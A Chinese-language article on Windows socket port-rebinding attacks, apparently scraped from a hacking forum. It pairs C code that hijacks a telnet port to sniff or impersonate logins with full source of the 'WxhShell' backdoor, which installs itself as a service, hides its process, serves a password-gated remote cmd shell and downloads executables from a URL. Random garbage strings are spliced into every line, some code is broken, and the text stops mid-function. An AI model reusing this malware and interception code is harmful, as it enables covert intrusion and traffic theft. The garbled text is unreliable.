在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0D&> Gyc*0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4B[D/kIg E1V^}dn saddr.sin_family = AF_INET;
7}o/: XEH}4;C'{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rNN
j0zw> uGH?N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3'I^lc !u|Tu4G^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lU4}B`#"v PS>x,T 这意味着什么?意味着可以进行如下的攻击:
RYR-K^;R y-aRXF=W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W<b-r^9?s F`+\>ae$h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
S33j?+Vs ,[rPe\w.z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e{w>%)rcP I*|P@0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Wr~yK? : ] A#@_V'a8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ub$n |xn ,J=P,]( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
YV'pVO'_+ ~2*9{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p3951-D I[Ic$ta #include
.K8w8X/3 #include
E#%}ZY #include
S -&)p@4 #include
9q[;u[A8^ DWORD WINAPI ClientThread(LPVOID lpParam);
W[''Cc. int main()
!7p}C-RZp {
vsyWm.E WORD wVersionRequested;
|F$BvCg DWORD ret;
#=c`of6 WSADATA wsaData;
^q[gxuL_ BOOL val;
2a=sm1? SOCKADDR_IN saddr;
PD[z#T!' SOCKADDR_IN scaddr;
,^s0</ve int err;
+g *k*e>l SOCKET s;
M!m?#xz'c SOCKET sc;
t;qP']2
int caddsize;
U]6&b HANDLE mt;
zd%rs~*c DWORD tid;
P.\nLE J= wVersionRequested = MAKEWORD( 2, 2 );
e79KbLV err = WSAStartup( wVersionRequested, &wsaData );
X JGB)3QI if ( err != 0 ) {
^z;JVrW printf("error!WSAStartup failed!\n");
r`'y?Bra; return -1;
R=)55qu }
D)$8W[ saddr.sin_family = AF_INET;
Kyg=$^{>G VDF)zA1V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\FmKJ\ PH3 >9/H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,?cH"@RJ saddr.sin_port = htons(23);
U^lW@u?: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#$ thPZ {
+ =$ printf("error!socket failed!\n");
9i$NhfOe return -1;
"eAy^, }
L1m{]>{- val = TRUE;
D/(CU#i" //SO_REUSEADDR选项就是可以实现端口重绑定的
*#U+qgA;` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_c(4o: {
n`7f"'/: printf("error!setsockopt failed!\n");
P A;6$vqX return -1;
{d3<W N }
B}?IEpYp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;\;M =&{} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-1|iz2^N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
PgM (l3x 1eS_
nLFw~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N5U)*U'-u {
MmTC=/j ret=GetLastError();
:\
QUs} printf("error!bind failed!\n");
?*"srE,#JX return -1;
`_X;.U.Mv }
_`-1aA&n~ listen(s,2);
l1=JrpCan while(1)
d'
>>E {
gN6rp(?y caddsize = sizeof(scaddr);
X"MU3] //接受连接请求
csZc|kDI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Qeq5 gN] if(sc!=INVALID_SOCKET)
zy'D!db`Z {
&}6KPA; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ksR1kvTm if(mt==NULL)
}YhtUWz]. {
DPn=n9n2 printf("Thread Creat Failed!\n");
C#pZw[ break;
>ezi3Zx^ }
5II(mSg8 }
Ard]147 CloseHandle(mt);
=}!Mf' }
Y]|:?G7l] closesocket(s);
[/M^[p WSACleanup();
WCJxu}! return 0;
*LC+ PZV@ }
P$GjF-!: DWORD WINAPI ClientThread(LPVOID lpParam)
Mj=$y?d ] {
24c ek SOCKET ss = (SOCKET)lpParam;
Ey[On^$ SOCKET sc;
cE'L% Z unsigned char buf[4096];
y3u+_KY- SOCKADDR_IN saddr;
E.bi05l long num;
sW#JjtK DWORD val;
wN-i?Ek0; DWORD ret;
1j-te-}"c //如果是隐藏端口应用的话,可以在此处加一些判断
^D^JzEy'?C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
revF;l6->C saddr.sin_family = AF_INET;
%^.%OCX: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
YcX/{L[9o saddr.sin_port = htons(23);
-Y 9SngxM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V%0I%\0Y {
zSvgKmNY printf("error!socket failed!\n");
*u6Y8IL1 return -1;
e-hjC6Q U }
a&{X!:X val = 100;
q=Zr>I;(Ks if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mog[pu:!, {
x`RTp:# ret = GetLastError();
>O9o,o/6R return -1;
d5 Edu44 }
3uu~p!2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<bck~E {
fU3`v\X ret = GetLastError();
7}O.wUKw% return -1;
BKa-
k! }
&)F*@C- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ikB Yd
}5 {
G$zL)R8GE| printf("error!socket connect failed!\n");
Q?t^@ closesocket(sc);
2I1uX&g closesocket(ss);
p{dwZ_gl
return -1;
eas:6Q) }
tirIgZ while(1)
-D^A:}$ {
b#)UUGmI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
abNV4 ,M //如果是嗅探内容的话,可以再此处进行内容分析和记录
FXdD4 X) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S/ywA9~3Q num = recv(ss,buf,4096,0);
aA`/E if(num>0)
i`(^[h
?; send(sc,buf,num,0);
Qe"pW\ else if(num==0)
FbnO/! $8 break;
HS>f1! num = recv(sc,buf,4096,0);
X@)z80 if(num>0)
C`jM0Q send(ss,buf,num,0);
;^Sr"v6r>u else if(num==0)
w@\vHH.;V break;
(UCK;k }
@Y,7'0U closesocket(ss);
hJz):d>Im closesocket(sc);
?Ucu#UO return 0 ;
HBE.F&C88 }
3ss6_xd+ h_d +$W5 ]'~vI/p ==========================================================
c)md $/1c= Y@ 下边附上一个代码,,WXhSHELL
RE$`YCs5 . v@>JZC ==========================================================
8x{B~_~ D<i[LZd #include "stdafx.h"
q*![AzFh )QagS.L{z #include <stdio.h>
JPM))4YDR #include <string.h>
}{ 9&:!uA #include <windows.h>
^[-el=oKn0 #include <winsock2.h>
;8S/6FI #include <winsvc.h>
2O"P2(1}v #include <urlmon.h>
kU-t7'?4 w6dFb6~R #pragma comment (lib, "Ws2_32.lib")
9vNkZ-1 #pragma comment (lib, "urlmon.lib")
D0(xNhmKz I
V%VU #define MAX_USER 100 // 最大客户端连接数
)Rat0$6 #define BUF_SOCK 200 // sock buffer
9mc!bj^811 #define KEY_BUFF 255 // 输入 buffer
R2L;bGI*J 8mLP5s!7 #define REBOOT 0 // 重启
|wEN`#.;b #define SHUTDOWN 1 // 关机
o'~5pS(wq -V"22sR] #define DEF_PORT 5000 // 监听端口
K
]OK:hY4 I2$T"K:eo #define REG_LEN 16 // 注册表键长度
$GQ`clj< #define SVC_LEN 80 // NT服务名长度
_sE#)@p :!;'J/B@.. // 从dll定义API
\k`n[{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(C]
SH\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l&VjUPz_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
GsbAlNP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y|&}.~U[ Mr--4D0Hk // wxhshell配置信息
pu!d qF< struct WSCFG {
%B5r"=oO int ws_port; // 监听端口
{HC@u{K- char ws_passstr[REG_LEN]; // 口令
E Uar/ int ws_autoins; // 安装标记, 1=yes 0=no
0qjXQs} char ws_regname[REG_LEN]; // 注册表键名
G'zF)0oD char ws_svcname[REG_LEN]; // 服务名
;VO.!5W@eg char ws_svcdisp[SVC_LEN]; // 服务显示名
rdnno char ws_svcdesc[SVC_LEN]; // 服务描述信息
;?}l char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.O*bILU int ws_downexe; // 下载执行标记, 1=yes 0=no
)4?x5# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ed0I WPx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/<CSVJ_r @\oz4^ };
=@u 5|: dLsn\m> // default Wxhshell configuration
~m1P_`T struct WSCFG wscfg={DEF_PORT,
b96%") "xuhuanlingzhe",
B()/.w?A 1,
"xMD,}+5$$ "Wxhshell",
1Kvx1p
"Wxhshell",
3QSZ ZJ "WxhShell Service",
xt'tL:d "Wrsky Windows CmdShell Service",
.,~(%#Wl$ "Please Input Your Password: ",
RO0>I8c1c 1,
3Y)PU= "
http://www.wrsky.com/wxhshell.exe",
`6y{.$ z "Wxhshell.exe"
P X;Ed*y };
;n=. {[, ~'5 // 消息定义模块
Uw-p758dD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\ 6EKgC1 char *msg_ws_prompt="\n\r? for help\n\r#>";
LAx4Xp/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1iL'V-y char *msg_ws_ext="\n\rExit.";
6OiSK@<Hk char *msg_ws_end="\n\rQuit.";
[U#72+K char *msg_ws_boot="\n\rReboot...";
T&T/C@z'R char *msg_ws_poff="\n\rShutdown...";
B .TB\j char *msg_ws_down="\n\rSave to ";
&bgvy'p 4$/i%B#ad char *msg_ws_err="\n\rErr!";
~.PO[hC char *msg_ws_ok="\n\rOK!";
Mfk2mIy T,fI BD: char ExeFile[MAX_PATH];
7@.cOB`y@3 int nUser = 0;
1[*UYcD HANDLE handles[MAX_USER];
<]C$xp<2 int OsIsNt;
Nf3.\eR Bb&^{7 SERVICE_STATUS serviceStatus;
G>YAJo SERVICE_STATUS_HANDLE hServiceStatusHandle;
(vR 9H(# <?D[9Mk$ // 函数声明
IfO;S*Qt int Install(void);
VN4yn| f/ int Uninstall(void);
!@u>A_ int DownloadFile(char *sURL, SOCKET wsh);
o!Ev;'D int Boot(int flag);
e&ANp0|W void HideProc(void);
dX8hpQ int GetOsVer(void);
#B'aU#$u int Wxhshell(SOCKET wsl);
m`4R]L] void TalkWithClient(void *cs);
'B83m#HR# int CmdShell(SOCKET sock);
*xf ._~E int StartFromService(void);
6b8;}],| int StartWxhshell(LPSTR lpCmdLine);
3$vRW.c\q Md)zEj`\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k~%<Ir1V] VOID WINAPI NTServiceHandler( DWORD fdwControl );
A392=:N+Q nI*/Mhx // 数据结构和表定义
Q@e[5RA+] SERVICE_TABLE_ENTRY DispatchTable[] =
Mcw4!{l` {
n[Zz]IO,g {wscfg.ws_svcname, NTServiceMain},
-K(fh#<6KO {NULL, NULL}
K|C^l;M6 };
>Sa*`q3J Z') pf // 自我安装
rOW-0B+N int Install(void)
n}A\2bO {
. .QB~ char svExeFile[MAX_PATH];
sUl6hX4 HKEY key;
s6
( z strcpy(svExeFile,ExeFile);
?#0snlah| C\_zdADUb% // 如果是win9x系统,修改注册表设为自启动
N_4eM,7t if(!OsIsNt) {
_a_xzv' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YL
jHt\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H@X oqgI RegCloseKey(key);
%I!:ITa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<
`qRA] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A>VI{ RegCloseKey(key);
?6Cz[5\ return 0;
rdJm{< }
DfJ2PX}q }
d#:3be{|&q }
%zC[KE*~ else {
SgMrce<; HQ9f ,< // 如果是NT以上系统,安装为系统服务
@RD+xYm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#5sD{:f` if (schSCManager!=0)
bLz*A- {
D+ V7hpH- SC_HANDLE schService = CreateService
{P8[X@Lu (
e{({|V ' schSCManager,
@/J[t wscfg.ws_svcname,
{vaaFs wscfg.ws_svcdisp,
,~ ?'Ef80 SERVICE_ALL_ACCESS,
Gx?+9CV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
DPe]daF SERVICE_AUTO_START,
^x*nq3^h\ SERVICE_ERROR_NORMAL,
4A{|[}! svExeFile,
nU+tM~C%a NULL,
?:^mBb)T NULL,
n?#!VN3 NULL,
0)YbI! NULL,
Nd:R"
p*8 NULL
J MX6yV );
|1Dc!V'?" if (schService!=0)
+i `*lBup$ {
L~{_!Q CloseServiceHandle(schService);
LiDvaF:@L! CloseServiceHandle(schSCManager);
e"-X U@`k1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
W[[oSqp strcat(svExeFile,wscfg.ws_svcname);
"Z,q?F c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
J?)RfK|! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*VSel4;\t RegCloseKey(key);
3zuF{Q2P< return 0;
@e~]t}fH }
wYeB)1. }
dNY"]b CloseServiceHandle(schSCManager);
{s,+^7 }
<j}lp- }
0?7XtC P< F9c`({6k return 1;
RnVtZ#SCh }
O|kKwadC "re-@Baw // 自我卸载
u#W5`sl int Uninstall(void)
B UUf;Vv {
TL= YQA HKEY key;
RKd CozKyt/r7 if(!OsIsNt) {
W!$zXwY}( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D| I Ec? RegDeleteValue(key,wscfg.ws_regname);
vY6W|<s RegCloseKey(key);
wbbqt0un if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ir>]r<Zl RegDeleteValue(key,wscfg.ws_regname);
5FvOznK^e RegCloseKey(key);
FHy76^h>e return 0;
u%|zc= }
|YJCWFbs8 }
Qx|H1_6 }
`znB7VQ0 else {
CDMfa&;T tury<* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3K/Df# if (schSCManager!=0)
U3;aLQ* {
'iSAAwT2aj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oR+-+-??$ if (schService!=0)
{B$2"q/~ {
\v@({nB8 if(DeleteService(schService)!=0) {
Z{-Lc68 CloseServiceHandle(schService);
.W\ve>; CloseServiceHandle(schSCManager);
,cTgR78' return 0;
1N`vCt]w }
@`u?bnx]e CloseServiceHandle(schService);
*a}(6Cx }
\jW)Xy CloseServiceHandle(schSCManager);
`T*U]/zQ }
9G?ldp8 }
V+MK'<#B t
*6loS0+ return 1;
ul7o%Hs }
=?}twC$ iMP // 从指定url下载文件
-=$2p0"R int DownloadFile(char *sURL, SOCKET wsh)
dLh6:Gh8_I {
|fsm8t<~8 HRESULT hr;
-*VKlZ8- char seps[]= "/";
-H(vL= char *token;
BWPP5X9 char *file;
Lf}8qB#Y char myURL[MAX_PATH];
?dy~mob char myFILE[MAX_PATH];
uPyVF-i ^z1IN-Tm/ strcpy(myURL,sURL);
s}x>J8hK token=strtok(myURL,seps);
N?r>%4 while(token!=NULL)
my^ak*N {
f*((;*n; file=token;
hAR?
t5c token=strtok(NULL,seps);
S*W;%J5 }
0O@_cW y+mElG$F GetCurrentDirectory(MAX_PATH,myFILE);
kka"C]! strcat(myFILE, "\\");
<zfe}0 strcat(myFILE, file);
R zR?&J send(wsh,myFILE,strlen(myFILE),0);
+`en{$%% send(wsh,"...",3,0);
wJ"ev.A) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}Ag|gF!_ if(hr==S_OK)
AMlV%U# return 0;
1IH[g*f else
R|,7d:k return 1;
9V!-ZG S0w> hr }
MOz}Q1`a Y)HbxFF`/ // 系统电源模块
$N+6h# int Boot(int flag)
"X1vZwK8N {
*$,+`+ HANDLE hToken;
i s"vekC TOKEN_PRIVILEGES tkp;
y).P=z V2znU if(OsIsNt) {
Rq)BssdF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
R"xp%:li LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H3FW52pjX tkp.PrivilegeCount = 1;
Z[#IfbYt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ueyw;Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
83;IyvbL if(flag==REBOOT) {
)qM|3], if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[,f)9v) return 0;
*K!++k!Ixa }
I@Z)<5Zf else {
x!{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
crmUrF# return 0;
CmC0k-%w }
>q( 5ir }
[B/0-(? else {
,"
R>}kPli if(flag==REBOOT) {
KsdG(.I+ek if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
a8uYs DS return 0;
o" _=K%9 }
z]#hWfM4B: else {
7[o {9Yp& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"n?<2
wso return 0;
6 DP[g8 }
>9(i)e }
2_pz3<,\ 2R@%Y/ return 1;
9U<Hf32 }
%xg"Q| ?ApRJm:T // win9x进程隐藏模块
mvTb~) void HideProc(void)
cH"@d^"+q| {
gbGTG(:1S |O (G nsZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
xb^Mo.\[ if ( hKernel != NULL )
} p'8w\C$ {
=7jEz+w# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l1-HO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<MZi<Z` FreeLibrary(hKernel);
:m`/Q_y" }
gue(C(~.k_ 1L[S*X return;
Yo2Trh }
)!-S|s' ~775soN // 获取操作系统版本
J?jeYW int GetOsVer(void)
:R+],m il {
o/JPYBhdl OSVERSIONINFO winfo;
k&GHu0z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
a!t
V6H GetVersionEx(&winfo);
*T4ge|zUc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5u,sx664 return 1;
R;THA! else
YNM\pX' return 0;
8~5|KO >F }
S}gD,7@ XZO<dhZX: // 客户端句柄模块
OV|Z=EwJ int Wxhshell(SOCKET wsl)
yX9B97XyC {
*Mi6 SOCKET wsh;
%0v*n8 struct sockaddr_in client;
M {x ie DWORD myID;
eTZ`q_LfI1 lIq~~cv) while(nUser<MAX_USER)
D44I"TgqD {
G%OpO.Wf int nSize=sizeof(client);
k+\7B}7F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
q3\!$IM. if(wsh==INVALID_SOCKET) return 1;
I7Zq}Pxa 6y@<?08Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
iEhDaC[e(b if(handles[nUser]==0)
Yq;&F0paK closesocket(wsh);
MVAc8d S else
,k%8yK nUser++;
M(S{1|,V }
y h-9u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>4'21,q VRhRwdC return 0;
A_Gp&acs$ }
=g2\CIlVU6 )dg UmN // 关闭 socket
h544dNo& void CloseIt(SOCKET wsh)
Kq6qXc\x {
WguV{#=H closesocket(wsh);
}}s)
+d nUser--;
&ps6s.K ExitThread(0);
ro]L}oE+ }
APuu_!ez1 Ph\F'xROe // 客户端请求句柄
DZAH"sb void TalkWithClient(void *cs)
4`0;^K. {
+-k`x0v /O"0L/hc^ SOCKET wsh=(SOCKET)cs;
gT7I9 (x!W char pwd[SVC_LEN];
}q x(z^ char cmd[KEY_BUFF];
:+A;TV char chr[1];
9jjL9f_3 int i,j;
nK:`e9ES g{&PrE'e9 while (nUser < MAX_USER) {
m2MPWy5s "b;k.Fx if(wscfg.ws_passstr) {
"2K|#,%N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V,'FlU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%>NRna //ZeroMemory(pwd,KEY_BUFF);
ndt8=6p
i=0;
e)og4 while(i<SVC_LEN) {
% NwoU%q c=<v.J@K // 设置超时
s @3zx fd_set FdRead;
Nuo<` 6mV@ struct timeval TimeOut;
Es,0'\m& FD_ZERO(&FdRead);
%,E7vYjT% FD_SET(wsh,&FdRead);
fa.f(c TimeOut.tv_sec=8;
L%4tw5*N TimeOut.tv_usec=0;
C$0ITw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Xa6qvg7/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
t9n'! <sF!]R&4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lZ+/\s,]| pwd
=chr[0]; _4S7wOq5
if(chr[0]==0xd || chr[0]==0xa) { BC&^]M
pwd=0; ix+x3OCip
break; <m9JXO:5
} M%77u=m
i++; ~M(pCSJ[
} a\|X^%2g
s={X-H< 2
// 如果是非法用户,关闭 socket fjG /dhr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JCBnFrP
} ,9+nfj
*+# k{D,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xek E#?.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 34^Q5B~^J
%k~C-+
while(1) { lK 9s0t'
csm?oU niz
ZeroMemory(cmd,KEY_BUFF); >EyvdX#v
| eK,Td%
// 自动支持客户端 telnet标准 ~MD><w>
j=0; 7jD@Gp`" 3
while(j<KEY_BUFF) { F\l!A'Q+t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZlUFJ*pk
cmd[j]=chr[0]; I\)N\move
if(chr[0]==0xa || chr[0]==0xd) { +# A|Zp<
cmd[j]=0; jh-kCF
break; <:H
} X@G[=Rs
j++; ZO]E@?Oav
} | H5Ync[s
_p?I{1O
// 下载文件 3<yCe%I:
if(strstr(cmd,"http://")) { ggzAU6J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); P'KY.TjWb
if(DownloadFile(cmd,wsh)) XWJ0=t&}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _y.mpX&
else Ni/|C19Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}qTv&Z3$
} k$Nx6?8E
else { `\6 +z
4ZSfz#<[z
switch(cmd[0]) { (gv=P>:
i]V
F'tG
// 帮助 1/F<T
case '?': { &4a~6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r< N-A?a
break; N2 M?5fF
} q
oKQEG2
// 安装 Zz{[Al{
case 'i': { )2
if(Install()) Sf#\6X<B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1KNkl,E
else |Sy}d[VKsZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +<vqkc
break; )@?Qt2
} fLf#2EA
// 卸载 jauc*347
case 'r': { &^"s=g.
if(Uninstall()) +A;n*DF2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) >-D={
else K]lb8q}Z~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&6juBb
break; zSX'
} <[*h_gE5
// 显示 wxhshell 所在路径 ;5zjd,
case 'p': { pO@k@JZ
char svExeFile[MAX_PATH]; $NH`Iu9t
strcpy(svExeFile,"\n\r"); 0YgFjd
5
strcat(svExeFile,ExeFile); G*kXWEx
send(wsh,svExeFile,strlen(svExeFile),0); je$R\7B<
break; C{U[w^X
} O#<|[Dzw
// 重启 _oYA;O
case 'b': { bUEt0wRR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U:C-\ M
if(Boot(REBOOT)) fbW,0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); woC
FN1W
else { 4IH0un
closesocket(wsh); 0Te)s3X
ExitThread(0); q|de*~@-P
} wt3Z?Pb
break; T/X?ZK(T
} I3F6-gH
// 关机 6jQ&dN{=qB
case 'd': { Al;%u0]5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q)7L^
if(Boot(SHUTDOWN)) {g23[$X]N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I{Y
{
else { kM}ic(K
closesocket(wsh); c+YYM
:S
ExitThread(0); Xv<;[vq}F
} w7.?zb !N
break; gXJ19zB+
} iLI.e rm
// 获取shell 1GyA QHx,
case 's': { K%.YNVHHC
CmdShell(wsh); -X6\[I:+A
closesocket(wsh); @8x6#|D
ExitThread(0); 3e!a>Gl*
break; 6kmZ!9w0|
} JXD?a.vy^q
// 退出 $TH'"XK
case 'x': { ,AFC 1t[0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ L i%
CloseIt(wsh); : Oz7R:
break; Sj=69>m]5
} ;^*+:e
// 离开 <LOx.}fv
case 'q': { d%[`=fs]|m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); n+A'XBHk
closesocket(wsh); /oixtO)
WSACleanup(); C$Hl`>?$
exit(1); (qq$y
#$
break; i32_ZB Z?y
} (Mire%$h
} 6vp8LNSW
} WP#_qqO
""U?#<}GD
// 提示信息 t,r&SrC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8=zM~v)
} p.W*j^';Q
} ^7^bA
3Wtv+L7Br
return; &>wce5uV
} dp%pbn6w
U{:(j5m
// shell模块句柄 Z2pN<S{5
int CmdShell(SOCKET sock) \w@_(4")Qb
{ Rs(CrB/M
STARTUPINFO si; |
9\7xT
ZeroMemory(&si,sizeof(si)); ZE3ysLkm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O+UV\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Eg-Mm4o
PROCESS_INFORMATION ProcessInfo; eL$U M
char cmdline[]="cmd"; Kr}M>hF+|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c#4L*$ViF
return 0; B$[%pm`'2
} $y]||tX
^5'/ }iR2N
// 自身启动模式 O%q;,w{prW
int StartFromService(void) J#OE}xASoA
{ Ns(L1'9=
typedef struct Vlxb<$5Nh
{ yPxG`w'
DWORD ExitStatus; h/+I-],RF
DWORD PebBaseAddress; 9'*ZEl^?D
DWORD AffinityMask; ^xkppN2
